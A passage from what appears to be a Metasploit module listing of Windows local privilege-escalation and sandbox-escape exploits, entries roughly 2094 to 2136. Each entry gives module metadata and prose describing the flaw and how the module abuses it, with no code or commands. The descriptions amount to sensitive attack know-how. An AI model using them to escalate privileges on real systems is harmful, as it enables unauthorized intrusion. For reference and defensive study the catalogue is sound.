    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2021-02-09

Payload information:

Description:
  A vulnerability exists within win32k that can be leveraged by an
attacker to escalate privileges to those of
  NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a
window can be manipulated into being
  treated as an offset despite being populated by an attacker-
controlled value. This can be leveraged to
  achieve an out of bounds write operation, eventually leading to
```

```
privilege escalation.

  This flaw was originally identified as CVE-2021-1732 and was patched
by Microsoft on February 9th, 2021.
  In early 2022, a technique to bypass the patch was identified and
assigned CVE-2022-21882. The root cause is
  is the same for both vulnerabilities. This exploit combines the
patch bypass with the original exploit to
  function on a wider range of Windows 10 targets.

End Exploit Number 2094

Begin Exploit Number 2095
       Name: CVE-2022-21999 SpoolFool Privesc
     Module: exploit/windows/local/cve_2022_21999_spoolfool_privesc
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2022-02-08

Payload information:

Description:
  The Windows Print Spooler has a privilege escalation vulnerability
that
  can be leveraged to achieve code execution as SYSTEM.

  The `SpoolDirectory`, a configuration setting that holds the path
that
  a printer's spooled jobs are sent to, is writable for all users, and
it can
  be configured via `SetPrinterDataEx()` provided the caller has the
  `PRINTER_ACCESS_ADMINISTER` permission. If the `SpoolDirectory` path
does not
  exist, it will be created once the print spooler reinitializes.

  Calling `SetPrinterDataEx()` with the `CopyFiles\` registry key will
load the
  dll passed in as the `pData` argument, meaning that writing a dll to
the `SpoolDirectory`
  location can be loaded by the print spooler.

  Using a directory junction and UNC path for the `SpoolDirectory`,
the exploit
  writes a payload to `C:\Windows\System32\spool\drivers\x64\4` and
loads it
  by calling `SetPrinterDataEx()`, resulting in code execution as
SYSTEM.
```

```
End Exploit Number 2095

Begin Exploit Number 2096
       Name: User Profile Arbitrary Junction Creation Local Privilege
Elevation
     Module: exploit/windows/local/cve_2022_26904_superprofile
   Platform: Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-03-17

Payload information:

Description:
  The user profile service, identified as ProfSrv, is vulnerable to a
local privilege elevation vulnerability
  in its CreateDirectoryJunction() function due to a lack of
appropriate checks on the directory structure of
  the junctions it tries to link together.

  Attackers can leverage this vulnerability to plant a malicious DLL
in a system directory and then trigger a
  UAC prompt to cause this DLL to be loaded and executed by ProfSrv as
the NT AUTHORITY\SYSTEM user.

  Note that this bug was originally identified as CVE-2021-34484 and
was subsequently patched a second time as
  CVE-2022-21919, however both patches were found to be insufficient.
This bug is a patch bypass for
  CVE-2022-21919 and at the time of publishing, has not yet been
patched, though plans are in place to patch it
  as CVE-2022-26904.

  It is important to note that the credentials supplied for the second
user to log in as in this exploit must be
  those of a normal non-admin user and these credentials must also
corralate with a user who has already logged in
  at least once before. Additionally the current user running the
exploit must have UAC set to the highest level,
  aka "Always Notify Me When", in order for the code to be executed as
NT AUTHORITY\SYSTEM. Note however that
  "Always Notify Me When" is the default UAC setting on common Windows
installs, so this would only affect instances
  where this setting has been changed either manually or as part of
the installation process.

End Exploit Number 2096
```

```
Begin Exploit Number 2097
       Name: Lenovo Diagnostics Driver IOCTL memmove
     Module: exploit/windows/local/
cve_2022_3699_lenovo_diagnostics_driver
   Platform: Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2022-11-09

Payload information:

Description:
  Incorrect access control for the Lenovo Diagnostics Driver allows a
low-privileged user the ability to
  issue device IOCTLs to perform arbitrary physical/virtual memory
read/write.

End Exploit Number 2097

Begin Exploit Number 2098
       Name: Ancillary Function Driver (AFD) for WinSock Elevation of
Privilege
     Module: exploit/windows/local/cve_2023_21768_afd_lpe
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-01-10

Payload information:

Description:
  A vulnerability exists in the Windows Ancillary Function Driver for
Winsock
  (`afd.sys`) can be leveraged by an attacker to escalate privileges
to those of
  NT AUTHORITY\SYSTEM. Due to a flaw in `AfdNotifyRemoveIoCompletion`,
it is
  possible to create an arbitrary kernel Write-Where primitive, which
can be used
  to manipulate internal I/O ring structures and achieve local
privilege
  escalation.

  This exploit only supports Windows 11 22H2 up to build 22621.963
(patched in
  January 2023 updates).

End Exploit Number 2098

Begin Exploit Number 2099
       Name: Windows Common Log File System Driver (clfs.sys)
Elevation of Privilege Vulnerability
     Module: exploit/windows/local/cve_2023_28252_clfs_driver
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2023-04-11

Payload information:

Description:
  A privilege escalation vulnerability exists in the clfs.sys driver
which comes installed by default on
  Windows 10 21H2, Windows 11 21H2 and Windows Server 20348 operating
systems.

  The clfs.sys driver contains a function CreateLogFile that is used
to create
  open and edit '*.blf' (base log format) files. Inside a .blf file
there are multiple blocks of data which
  contain checksums to verify the integrity of the .blf file and to
ensure the file looks and acts like a
  .blf file. However, these files can be edited with CreateFileA or
with fopen and then modified with
  WriteFile or fwrite respectively in order to change the contents of
the file and update their checksums accordingly.

  This exploit makes use to two different kinds of specially
crafted .blf files that are edited using the technique
  mentioned above. There are multiple spray .blf files. The spray .blf
files are specially crafted to initiate an out of
  bounds read which reads from a contiguous block of memory. The block
of memory it reads from contains a read-write pipe
  that points to the address of the second type of .blf file - the
trigger .blf file. The trigger .blf file is specially
  crafted read the SYSTEM token and write it in the process of the
exploit to achieve the local privilege escalation.

  The exploits creates a controlled memory space by first looping over
the CreatePipe function to
  to create thousands of read-write pipes (which take up 0x90 bytes of
memory). It then releases a certain number of
  pipes from memory and calls CreateLogFile to open the pre-existing
```

```
spray .blf files which when being opened fill the
  0x90 byte gaps created by the deallocation of the pipes in memory,
creating the controlled memory space.

  This is a very brief and high overview description of what the
exploit is actually doing. For a more detailed and in
  depth analysis please refer to the following [reference](https://
github.com/fortra/CVE-2023-28252).

End Exploit Number 2099

Begin Exploit Number 2100
       Name: DnsAdmin ServerLevelPluginDll Feature Abuse Privilege
Escalation
     Module: exploit/windows/local/dnsadmin_serverlevelplugindll
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-05-08

Payload information:

Description:
  This module exploits a feature in the DNS service of Windows Server.
Users of the DnsAdmins group can set the
  `ServerLevelPluginDll` value using dnscmd.exe to create a registry
key at `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\`
  named `ServerLevelPluginDll` that can be made to point to an
arbitrary DLL. After doing so, restarting the service
  will load the DLL and cause it to execute, providing us with SYSTEM
privileges. Increasing WfsDelay is recommended
  when using a UNC path.

  Users should note that if the DLLPath variable of this module is set
to a UNC share that does not exist,
  the DNS server on the target will not be able to restart. Similarly
if a UNC share is not utilized, and
  users instead opt to drop a file onto the disk of the target
computer, and this gets picked up by Anti-Virus
  after the timeout specified by `AVTIMEOUT` expires, its possible
that the `ServerLevelPluginDll` value of the
  `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key on the
target computer may point to an nonexistant DLL,
  which will also prevent the DNS server from being able to restart.
Users are advised to refer to the documentation for
  this module for advice on how to resolve this issue should it occur.

  This module has only been tested and confirmed to work on Windows
```

```
Server 2019 Standard Edition, however it should work against any
Windows
  Server version up to and including Windows Server 2019.

End Exploit Number 2100

Begin Exploit Number 2101
       Name: Docker-Credential-Wincred.exe Privilege Escalation
     Module: exploit/windows/local/docker_credential_wincred
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2019-07-05

Payload information:

Description:
  This exploit leverages a vulnerability in docker desktop
  community editions prior to 2.1.0.1 where an attacker can write
  a payload to a lower-privileged area to be executed
  automatically by the docker user at login.

End Exploit Number 2101

Begin Exploit Number 2102
       Name: Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege
Escalation
     Module: exploit/windows/local/
druva_insync_insynccphwnet64_rcp_type_5_priv_esc
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-02-25

Payload information:

Description:
  Druva inSync client for Windows exposes a network service on TCP
  port 6064 on the local network interface. inSync versions 6.6.3
  and prior do not properly validate user-supplied program paths
  in RPC type 5 messages, allowing execution of arbitrary commands
  as SYSTEM.

  This module has been tested successfully on inSync versions
  6.5.2r99097 and 6.6.3r102156 on Windows 7 SP1 (x64).
```

```
End Exploit Number 2102

Begin Exploit Number 2103
       Name: GOG GalaxyClientService Privilege Escalation
     Module: exploit/windows/local/gog_galaxyclientservice_privesc
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-04-28

Payload information:

Description:
  This module will send arbitrary file_paths to the GOG 
GalaxyClientService, which will be executed
  with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and 
v2.0.12; prior versions are
  also likely affected).

End Exploit Number 2103

Begin Exploit Number 2104
       Name: IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) 
Missing DLL
     Module: exploit/windows/local/ikeext_service
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2012-10-09

Payload information:

Description:
  This module exploits a missing DLL loaded by the 'IKE and AuthIP 
Keyring Modules'
  (IKEEXT) service which runs as SYSTEM, and starts automatically in 
default
  installations of Vista-Win8. It requires an insecure bin path to 
plant the DLL payload.

End Exploit Number 2104

Begin Exploit Number 2105
       Name: iPass Mobile Client Service Privilege Escalation
     Module: exploit/windows/local/ipass_launch_app
   Platform: Windows
```

```
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-03-12

Payload information:
  Space: 2048

Description:
  The named pipe, \IPEFSYSPCPIPE, can be accessed by normal users to 
interact
  with the iPass service. The service provides a LaunchAppSysMode 
command which
  allows to execute arbitrary commands as SYSTEM.

End Exploit Number 2105

Begin Exploit Number 2106
       Name: Lenovo System Update Privilege Escalation
     Module: exploit/windows/local/lenovo_systemupdate
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-04-12

Payload information:
  Space: 2048

Description:
  The named pipe, \SUPipeServer, can be accessed by normal users to 
interact with the
  System update service. The service provides the possibility to 
execute arbitrary
  commands as SYSTEM if a valid security token is provided. This token 
can be generated
  by calling the GetSystemInfoData function in the DLL tvsutil.dll. 
Please, note that the
  System Update is stopped by default but can be started/stopped 
calling the Executable
  ConfigService.exe.

End Exploit Number 2106

Begin Exploit Number 2107
       Name: Lexmark Driver Privilege Escalation
     Module: exploit/windows/local/lexmark_driver_privesc
   Platform: Windows
```

```
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-07-15

Payload information:

Description:
  Various Lexmark Universal Printer drivers as listed at advisory
TE953
  allow low-privileged authenicated users to elevate their privileges
to
  SYSTEM on affected Windows systems by modifying the XML file at
  C:\ProgramData\<driver name>\Universal Color Laser.gdl
  to replace the DLL path to unires.dll with a malicious DLL path.

  When C:\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs is
  then used to add the printer to the affected system,
PrintIsolationHost.exe,
  a Windows process running as NT AUTHORITY\SYSTEM, will inspect the
  C:\ProgramData\<driver name>\Universal Color Laser.gdl file and will
  load the malicious DLL from the path specified in the file. This
which will
  result in the malicious DLL executing as NT AUTHORITY\SYSTEM.

  Once this module is finished, it will use the prnmngr.vbs script
  to remove the printer it added.

End Exploit Number 2107

Begin Exploit Number 2108
       Name: Micro Focus Operations Bridge Manager / Reporter Local
Privilege Escalation
     Module: exploit/windows/local/microfocus_operations_privesc
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-28

Payload information:

Description:
  This module exploits an incorrectly permissioned folder in Micro
Focus Operations Bridge
  Manager and Operations Bridge Reporter.
  An unprivileged user (such as Guest) can drop a JSP file in an
exploded WAR directory and
```

```
  then access it without authentication by making a request to the 
OBM / OBR server.
  This will result in automatic code execution as SYSTEM. This module 
has been tested on
  OBM 2020.05 and OBR 10.40, but it should work out of the box on 
earlier versions too.
  Note that it is only exploitable on Windows installations.

End Exploit Number 2108

Begin Exploit Number 2109
       Name: Microsoft Windows POP/MOV SS Local Privilege Elevation 
Vulnerability
     Module: exploit/windows/local/mov_ss
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-05-08

Payload information:

Description:
  This module exploits a vulnerability in a statement in the system 
programming guide
  of the Intel 64 and IA-32 architectures software developer's manual 
being mishandled
  in various operating system kerneles, resulting in unexpected 
behavior for #DB
  excpetions that are deferred by MOV SS or POP SS.

  This module will upload the pre-compiled exploit and use it to 
execute the final
  payload in order to gain remote code execution.

End Exploit Number 2109

Begin Exploit Number 2110
       Name: MQAC.sys Arbitrary Write Privilege Escalation
     Module: exploit/windows/local/mqac_write
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2014-07-22

Payload information:
```

```
Description:
  A vulnerability within the MQAC.sys module allows an attacker to
  overwrite an arbitrary location in kernel memory.

  This module will elevate itself to SYSTEM, then inject the payload
  into another SYSTEM process.

End Exploit Number 2110

Begin Exploit Number 2111
       Name: Windows SYSTEM Escalation via KiTrap0D
     Module: exploit/windows/local/ms10_015_kitrap0d
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-01-19

Payload information:

Description:
  This module will create a new session with SYSTEM privileges via the
  KiTrap0D exploit by Tavis Ormandy. If the session in use is already
  elevated then the exploit will not run. The module relies on
kitrap0d.x86.dll,
  and is not supported on x64 editions of Windows.

End Exploit Number 2111

Begin Exploit Number 2112
       Name: Windows Escalate Task Scheduler XML Privilege Escalation
     Module: exploit/windows/local/ms10_092_schelevator
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-09-13

Payload information:

Description:
  This module exploits the Task Scheduler 2.0 XML 0day exploited by
Stuxnet.
  When processing task files, the Windows Task Scheduler only uses a
CRC32
  checksum to validate that the file has not been tampered with. Also,
In a default
  configuration, normal users can read and write the task files that
```

```
they have
  created. By modifying the task file and creating a CRC32 collision,
an attacker
  can execute arbitrary commands with SYSTEM privileges.

  NOTE: Thanks to webDEViL for the information about disable/enable.

End Exploit Number 2112

Begin Exploit Number 2113
       Name: MS11-080 AfdJoinLeaf Privilege Escalation
     Module: exploit/windows/local/ms11_080_afdjoinleaf
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2011-11-30

Payload information:

Description:
  This module exploits a flaw in the AfdJoinLeaf function of the
  afd.sys driver to overwrite data in kernel space.  An address
  within the HalDispatchTable is overwritten and when triggered
  with a call to NtQueryIntervalProfile will execute shellcode.

  This module will elevate itself to SYSTEM, then inject the payload
  into another SYSTEM process before restoring its own token to
  avoid causing system instability.

End Exploit Number 2113

Begin Exploit Number 2114
       Name: MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege
Escalation
     Module: exploit/windows/local/ms13_005_hwnd_broadcast
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-11-27

Payload information:

Description:
  Due to a problem with isolating window broadcast messages in the
Windows kernel,
  an attacker can broadcast commands from a lower Integrity Level
```

```
process to a
  higher Integrity Level process, thereby effecting a privilege
escalation. This
  issue affects Windows Vista, 7, 8, Server 2008, Server 2008 R2,
Server 2012, and
  RT. Note that spawning a command prompt with the shortcut key
combination Win+Shift+#
  does not work in Vista, so the attacker will have to check if the
user is already
  running a command prompt and set SPAWN_PROMPT false.

  Three exploit techniques are available with this module. The WEB
technique will
  execute a powershell encoded payload from a Web location.  The FILE
technique
  will drop an executable to the file system, set it to medium
integrity and execute
  it. The TYPE technique will attempt to execute a powershell encoded
payload directly
  from the command line, but may take some time to complete.

End Exploit Number 2114

Begin Exploit Number 2115
       Name: Windows NTUserMessageCall Win32k Kernel Pool Overflow
(Schlamperei)
     Module: exploit/windows/local/ms13_053_schlamperei
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2013-12-01

Payload information:
  Space: 4096

Description:
  This module leverages a kernel pool overflow in Win32k which allows
local privilege escalation.
  The kernel shellcode nulls the ACL for the winlogon.exe process (a
SYSTEM process).
  This allows any unprivileged process to freely migrate to
winlogon.exe, achieving
  privilege escalation. This exploit was used in pwn2own 2013 by MWR
to break out of chrome's sandbox.
  NOTE: when a meterpreter session started by this exploit exits,
winlogin.exe is likely to crash.

End Exploit Number 2115
```

```
Begin Exploit Number 2116
       Name: Windows TrackPopupMenuEx Win32k NULL Page
     Module: exploit/windows/local/ms13_081_track_popup_menu
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2013-10-08

Payload information:
  Space: 4096

Description:
  This module exploits a vulnerability in win32k.sys where under
  specific conditions TrackPopupMenuEx will pass a NULL pointer to
  the MNEndMenuState procedure. This module has been tested
  successfully on Windows 7 SP0 and Windows 7 SP1.

End Exploit Number 2116

Begin Exploit Number 2117
       Name: MS13-097 Registry Symlink IE Sandbox Escape
     Module: exploit/windows/local/ms13_097_ie_registry_symlink
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-12-10

Payload information:

Description:
  This module exploits a vulnerability in Internet Explorer Sandbox 
which allows to
  escape the Enhanced Protected Mode and execute code with Medium 
Integrity. The
  vulnerability exists in the IESetProtectedModeRegKeyOnly function 
from the ieframe.dll
  component, which can be abused to force medium integrity IE to user 
influenced keys.
  By using registry symlinks it's possible force IE to add a policy 
entry in the registry
  and finally bypass Enhanced Protected Mode.

End Exploit Number 2117

Begin Exploit Number 2118
```

```
       Name: MS14-009 .NET Deployment Service IE Sandbox Escape
     Module: exploit/windows/local/ms14_009_ie_dfsvc
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2014-02-11

Payload information:

Description:
  This module abuses a process creation policy in Internet Explorer's 
sandbox, specifically
  in the .NET Deployment Service (dfsvc.exe), which allows the 
attacker to escape the
  Enhanced Protected Mode, and execute code with Medium Integrity.

End Exploit Number 2118

Begin Exploit Number 2119
       Name: Windows TrackPopupMenu Win32k NULL Pointer Dereference
     Module: exploit/windows/local/ms14_058_track_popup_menu
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-10-14

Payload information:
  Space: 4096

Description:
  This module exploits a NULL Pointer Dereference in win32k.sys, the 
vulnerability
  can be triggered through the use of TrackPopupMenu. Under special 
conditions, the
  NULL pointer dereference can be abused on xxxSendMessageTimeout to 
achieve arbitrary
  code execution. This module has been tested successfully on Windows 
XP SP3, Windows
  2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 
SP1 and Windows
  2008 R2 SP1 64 bits.

End Exploit Number 2119

Begin Exploit Number 2120
       Name: MS14-070 Windows tcpip!SetAddrOptions NULL Pointer
```

```
Dereference
     Module: exploit/windows/local/ms14_070_tcpip_ioctl
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2014-11-11

Payload information:

Description:
  A vulnerability within the Microsoft TCP/IP protocol driver
tcpip.sys
  can allow a local attacker to trigger a NULL pointer dereference by
using a
  specially crafted IOCTL. This flaw can be abused to elevate
privileges to
  SYSTEM.

End Exploit Number 2120

Begin Exploit Number 2121
       Name: MS15-004 Microsoft Remote Desktop Services Web Proxy IE
Sandbox Escape
     Module: exploit/windows/local/ms15_004_tswbproxy
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2015-01-13

Payload information:
  Space: 4096

Description:
  This module abuses a process creation policy in Internet Explorer's
  sandbox; specifically, Microsoft's RemoteApp and Desktop Connections
runtime
  proxy, TSWbPrxy.exe.  This vulnerability allows the attacker to
escape the
  Protected Mode and execute code with Medium Integrity. At the
moment, this
  module only bypass Protected Mode on Windows 7 SP1 and prior (32
bits). This
  module has been tested successfully on Windows 7 SP1 (32 bits) with
IE 8 and IE
  11.
```

```
End Exploit Number 2121

Begin Exploit Number 2122
       Name: Windows ClientCopyImage Win32k Exploit
     Module: exploit/windows/local/ms15_051_client_copy_image
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-05-12

Payload information:
  Space: 4096

Description:
  This module exploits improper object handling in the win32k.sys
kernel mode driver.
  This module has been tested on vulnerable builds of Windows 7 x64
and x86, and
  Windows 2008 R2 SP1 x64.

End Exploit Number 2122

Begin Exploit Number 2123
       Name: MS15-078 Microsoft Windows Font Driver Buffer Overflow
     Module: exploit/windows/local/ms15_078_atmfd_bof
   Platform: Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2015-07-11

Payload information:
  Space: 4096

Description:
  This module exploits a pool based buffer overflow in the atmfd.dll
driver when parsing
  a malformed font. The vulnerability was exploited by the hacking
team and disclosed in
  the July data leak. This module has been tested successfully on
vulnerable builds of
  Windows 8.1 x64.

End Exploit Number 2123

Begin Exploit Number 2124
       Name: Windows WMI Receive Notification Exploit
```

```
      Module: exploit/windows/local/ms16_014_wmi_recv_notif
    Platform: Windows
        Arch: x64
  Privileged: No
     License: Metasploit Framework License (BSD)
        Rank: Normal
   Disclosed: 2015-12-04

Payload information:
  Space: 4096

Description:
  This module exploits an uninitialized stack variable in the WMI
subsystem of ntoskrnl.
  This module has been tested on vulnerable builds of Windows 7 SP0
x64 and Windows 7 SP1 x64.

End Exploit Number 2124

Begin Exploit Number 2125
        Name: MS16-016 mrxdav.sys WebDav Local Privilege Escalation
      Module: exploit/windows/local/ms16_016_webdav
    Platform: Windows
        Arch: x86
  Privileged: No
     License: Metasploit Framework License (BSD)
        Rank: Excellent
   Disclosed: 2016-02-09

Payload information:
  Space: 4096

Description:
  This module exploits the vulnerability in mrxdav.sys described by
MS16-016.  The module will spawn
  a process on the target system and elevate its privileges to NT
AUTHORITY\SYSTEM before executing
  the specified payload within the context of the elevated process.

End Exploit Number 2125

Begin Exploit Number 2126
        Name: MS16-032 Secondary Logon Handle Privilege Escalation
      Module: exploit/windows/local/
ms16_032_secondary_logon_handle_privesc
    Platform: Windows
        Arch: 
  Privileged: No
     License: BSD License
        Rank: Normal
  Disclosed: 2016-03-21

Payload information:

Description:
  This module exploits the lack of sanitization of standard handles in
Windows' Secondary
  Logon Service.  The vulnerability is known to affect versions of
Windows 7-10 and 2k8-2k12
  32 and 64 bit.  This module will only work against those versions of
Windows with
  Powershell 2.0 or later and systems with two or more CPU cores.

End Exploit Number 2126

Begin Exploit Number 2127
       Name: Windows Net-NTLMv2 Reflection DCOM/RPC
     Module: exploit/windows/local/ms16_075_reflection
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-01-16

Payload information:

Description:
  Module utilizes the Net-NTLMv2 reflection between DCOM/RPC
  to achieve a SYSTEM handle for elevation of privilege. Currently the
module
  does not spawn as SYSTEM, however once achieving a shell, one can
easily
  use incognito to impersonate the token.

End Exploit Number 2127

Begin Exploit Number 2128
       Name: Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)
     Module: exploit/windows/local/ms16_075_reflection_juicy
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2016-01-16

Payload information:

Description:
  This module utilizes the Net-NTLMv2 reflection between DCOM/RPC
  to achieve a SYSTEM handle for elevation of privilege.
  It requires a CLSID string.
  Windows 10 after version 1803, (April 2018 update, build 17134) and
all
  versions of Windows Server 2019 are not vulnerable.

End Exploit Number 2128

Begin Exploit Number 2129
       Name: Windows SetImeInfoEx Win32k NULL Pointer Dereference
     Module: exploit/windows/local/ms18_8120_win32k_privesc
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2018-05-09

Payload information:
  Space: 4096

Description:
  This module exploits elevation of privilege vulnerability that
exists in Windows 7 and 2008 R2
  when the Win32k component fails to properly handle objects in
memory. An attacker who
  successfully exploited this vulnerability could run arbitrary code
in kernel mode. An
  attacker could then install programs; view, change, or delete data;
or create new
  accounts with full user rights.

  This module is tested against windows 7 x86, windows 7 x64 and
windows server 2008 R2 standard x64.

End Exploit Number 2129

Begin Exploit Number 2130
       Name: MS14-002 Microsoft Windows ndproxy.sys Local Privilege
Escalation
     Module: exploit/windows/local/ms_ndproxy
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2013-11-27

Payload information:
  Space: 4096

Description:
  This module exploits a flaw in the ndproxy.sys driver on Windows XP
SP3 and Windows 2003
  SP2 systems, exploited in the wild in November, 2013. The
vulnerability exists while
  processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user
provided input is used
  to access an array unsafely, and the value is used to perform a
call, leading to a NULL
  pointer dereference which is exploitable on both Windows XP and
Windows 2003 systems. This
  module has been tested successfully on Windows XP SP3 and Windows
2003 SP2. In order to
  work the service "Routing and Remote Access" must be running on the
target system.

End Exploit Number 2130

Begin Exploit Number 2131
       Name: Novell Client 2 SP3 nicm.sys Local Privilege Escalation
     Module: exploit/windows/local/novell_client_nicm
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2013-05-22

Payload information:
  Space: 4096

Description:
  This module exploits a flaw in the nicm.sys driver to execute
arbitrary code in
  kernel space. The vulnerability occurs while handling ioctl requests
with code
  0x143B6B, where a user provided pointer is used as function pointer.
The module
  has been tested successfully on Windows 7 SP1 with Novell Client 2
SP3.

End Exploit Number 2131

Begin Exploit Number 2132
       Name: Novell Client 4.91 SP4 nwfs.sys Local Privilege
Escalation
     Module: exploit/windows/local/novell_client_nwfs
   Platform: Windows
```

```
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2008-06-26

Payload information:

Description:
  This module exploits a flaw in the nwfs.sys driver to overwrite data
in kernel
  space. The corruption occurs while handling ioctl requests with code
0x1438BB,
  where a 0x00000009 dword is written to an arbitrary address. An
entry within the
  HalDispatchTable is overwritten in order to execute arbitrary code
when
  NtQueryIntervalProfile is called. The module has been tested
successfully on
  Windows XP SP3 with Novell Client 4.91 SP4.

End Exploit Number 2132

Begin Exploit Number 2133
       Name: NSClient++ 0.5.2.35 - Privilege escalation
     Module: exploit/windows/local/nscp_pe
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-20

Payload information:

Description:
  This module allows an attacker with an unprivileged windows account
to gain admin access on windows system and start a shell.
  For this module to work, both the NSClient++ web interface  and
`ExternalScripts` features must be enabled.
  You must also know where the NSClient config file is, as it is used
to read the admin password which is stored in clear text.

End Exploit Number 2133

Begin Exploit Number 2134
       Name: MS15-001 Microsoft Windows NtApphelpCacheControl Improper
Authorization Check
     Module: exploit/windows/local/ntapphelpcachecontrol
   Platform: Windows
```

```
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-09-30

Payload information:
  Space: 4096

Description:
  On Windows, the system call NtApphelpCacheControl (the code is 
actually in ahcache.sys)
  allows application compatibility data to be cached for quick reuse 
when new processes are
  created. A normal user can query the cache but cannot add new cached 
entries as the
  operation is restricted to administrators. This is checked in the 
function
  AhcVerifyAdminContext.

  This function has a vulnerability where it doesn't correctly check 
the impersonation token
  of the caller to determine if the user is an administrator. It reads 
the caller's
  impersonation token using PsReferenceImpersonationToken and then 
does a comparison between
  the user SID in the token to LocalSystem's SID. It doesn't check the 
impersonation level
  of the token so it's possible to get an identify token on your 
thread from a local system
  process and bypass this check.

  This module currently only affects Windows 8 and Windows 8.1, and 
requires access to
  C:\Windows\System\ComputerDefaults.exe (although this can be 
improved).

End Exploit Number 2134

Begin Exploit Number 2135
       Name: Microsoft Windows NtUserMNDragOver Local Privilege 
Elevation
     Module: exploit/windows/local/ntusermndragover
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-03-12
```

```
Payload information:

Description:
  This module exploits a NULL pointer dereference vulnerability in
  MNGetpItemFromIndex(), which is reachable via a NtUserMNDragOver()
system call.

  The NULL pointer dereference occurs because the
xxxMNFindWindowFromPoint()
  function does not effectively check the validity of the tagPOPUPMENU
  objects it processes before passing them on to
MNGetpItemFromIndex(),
  where the NULL pointer dereference will occur.

  This module has been tested against Windows 7 x86 SP0 and SP1.
Offsets
  within the solution may need to be adjusted to work with other
versions
  of Windows, such as Windows Server 2008.

End Exploit Number 2135

Begin Exploit Number 2136
       Name: Nvidia (nvsvc) Display Driver Service Local Privilege
Escalation
     Module: exploit/windows/local/nvidia_nvsvc
   Platform: Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2012-12-25

Payload information:
